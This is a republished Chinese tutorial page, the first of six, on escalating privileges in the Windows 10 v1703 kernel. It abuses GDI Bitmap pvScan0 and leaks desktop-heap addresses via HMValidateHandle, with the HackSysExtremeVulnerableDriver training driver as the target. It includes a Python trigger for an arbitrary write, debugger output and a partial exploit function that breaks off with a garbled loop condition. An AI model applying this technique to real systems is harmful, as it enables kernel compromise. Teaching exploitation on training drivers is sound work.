安全黑客
当前位置:安全黑客文章资讯安全资讯安全新闻
日期:2018-12-26 23:45:00  来源:本站整理

Windows10 v1703基于桌面堆泄露的内核提权技术[安全新闻]

赞助商链接



  本文“Windows10 v1703基于桌面堆泄露的内核提权技术[安全新闻]”是由安全黑客为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

0x001 前言
在开始讨论Windows10 v1703内核提权技术之前,先来了解一下微软为阻止Win10权限提升所作的努力:
1.在Win10 v1511、v1607、1703几个版本提权过程,都需要用到Bitmap object这个数据结构,而这个object有一个最重要的pvScan0指针成员。Bitmap是一种位图数据结构,了解过GDI+编程的应该不会陌生,pvScan0指针成员则指向Bitmap object中的Pixel区域(像素区)。
2.微软在关于Bitmap object的操作上给出了部分API,值得注意的是SetBitmapBits和GetBitmapBits。本来正常应用到编程中的确是相安无事,但我们来考虑一下,要是其中某个Bitmap object的pvScan0指针成员胡乱指向一个内核地址,当调用GetBitmapBits便能读到该处数据(信息泄露),而当调用SetBitmapBits便能向该处写入数据(任意写)。
3.为了阻止Bitmap object被利用,微软多番努力阻止pvScan0内核地址的泄露,从而阻断整个攻击过程。在v1511版本,可以利用GDI_CELL结构成员pKernelAddress泄露出pvScan0的内核地址,而在v1607该处便被置空了,但攻击并未就此停止,采用UAF的攻击手法,便能准确预测pvScan0的内核地址,这里需要用到一个pHead的数据成员。
4.在v1703版本中,pHead再次被置空,以往的攻击手段失效,该文就是基于这样的背景,讨论Win10 v1703内核权限提升技术。
关于v1511、v1607的详细分析可以参考这两篇文章
Windows特权提升:GDI Bitmap滥用
Windows10 v1607内核提权技术的发展——利用AcceleratorTable
 
0x002 调试环境
虚拟机:Windows 10 x64 1703 Jul 2017
主机:Windows 10 x64 1709 Dec 2017
环境搭建可以参考该文:
Part 10: Kernel Exploitation -> Stack Overflow
 
0x003 Test POC
这里说一下,后面会用到HEVD的一个Windows Kernel Exploition训练项目
HackSysExtremeVulnerableDriver
还需要一个驱动装载工具,用于注册HEVD编译出来的.sys驱动文件
OSRloader
用该脚本来触发ArbraryWrite这个洞
import sys
from ctypes import *
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\.HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
    print "[-] Couldn't get Device Driver handle."
    sys.exit(0)
buf = "A"*8 + "B"*8
buflen = len(buf)
kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)
windbg显示这样,将内容0x4141414141414141往地址0x4242424242424242上写入
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
[+] UserWriteWhatWhere: 0x0000000002090E18
[+] WRITE_WHAT_WHERE Size: 0x10
[+] UserWriteWhatWhere->What: 0x4141414141414141
[+] UserWriteWhatWhere->Where: 0x4242424242424242
[+] Triggering Arbitrary Overwrite
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
 
0x004 How to Exploit it?
还是回到最主要的一个问题:如何取得pvScan0的内核地址?
很幸运,在Windows 10 1703上还有另外的方法帮助我们预测pvscan0指针的内核地址,通过合理构造,准确性能够提高到100%。但首先的,我们要得到HMValidateHandle的调用地址。
HmValidateHandle比较有意思,我们只需给它提供一个窗口句柄,然后它就会将在桌面堆中的tagWND对象指针返回回来,拿到该指针就相当于完成了内核信息泄露
先去找到user32.IsMenu方法
kd> u user32!IsMenu
USER32!IsMenu:
00007fff`17d489e0 4883ec28        sub     rsp,28h
00007fff`17d489e4 b202            mov     dl,2
00007fff`17d489e6 e805380000      call    USER32!HMValidateHandle (00007fff`17d4c1f0)
00007fff`17d489eb 33c9            xor     ecx,ecx
00007fff`17d489ed 4885c0          test    rax,rax
00007fff`17d489f0 0f95c1          setne   cl
00007fff`17d489f3 8bc1            mov     eax,ecx
00007fff`17d489f5 4883c428        add     rsp,28h
注意到指向HMValidateHandle指针的偏移的位于第一个0xe8字节码之后
在user32.IsMenu开头对每个字节进行比较,看看是否为0xe8,获取到这个偏移数值
def findHMValidateHandle():
    global pHMValidateHandle
    kernel32.LoadLibraryA.restype = HMODULE
    hUser32 = kernel32.LoadLibraryA("user32.dll")
    kernel32.GetProcAddress.restype = c_ulonglong
    kernel32.GetProcAddress.argtypes = (HMODULE,LPCSTR)
    pIsMenu = kernel32.GetProcAddress(hUser32,"IsMenu")
    debug_print("[>] Locating HMValidateHandle()")
    debug_print("t[+] user32.IsMenu: 0x%X" % pIsMenu)
    offset = 0
    pHMValidateHandle_offset = 0
    while(offset 0x100):
        byte = cast(pIsMenu + offset, POINTER(c_byte))

[1] [2] [3] [4] [5] [6]  下一页


  以上是“Windows10 v1703基于桌面堆泄露的内核提权技术[安全新闻]”的内容,如果你对以上该文章内容感兴趣,你可以看看安全黑客为您推荐以下文章:
  • Windows 0 day任意数据覆写文件漏洞
  • 渗透技巧——Windows中net session的利用
  • Windows内核扩展机制研究
  • Windows10 v1703基于桌面堆泄露的内核提权技术
  • 渗透基础——Windows下计划任务的使用
  • CVE-2018-8611 Windows kernel事务管理器0 day漏洞分析
  • 从DirectX到Windows内核——几个CVE漏洞浅析
  • 如何借助COM对Windows受保护进程进行代码注入(第二部分)
  • 如何借助COM对Windows受保护进程进行代码注入
  • 渗透技巧——Windows系统文件执行记录的获取与清除
  • Windows VBScript引擎远程执行代码漏洞 之CVE-2018-8373分析与复现
  • Windows Notification Facility (WNF)组件的详细介绍
  • 本文地址: 与您的QQ/BBS好友分享!

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    免责条款 - 广告合作 - 下载声明 - 欢迎投稿 - 友情连接 - 网站地图 -
    Copyright © 2012-2013 www.110hack.com. All Rights Reserved .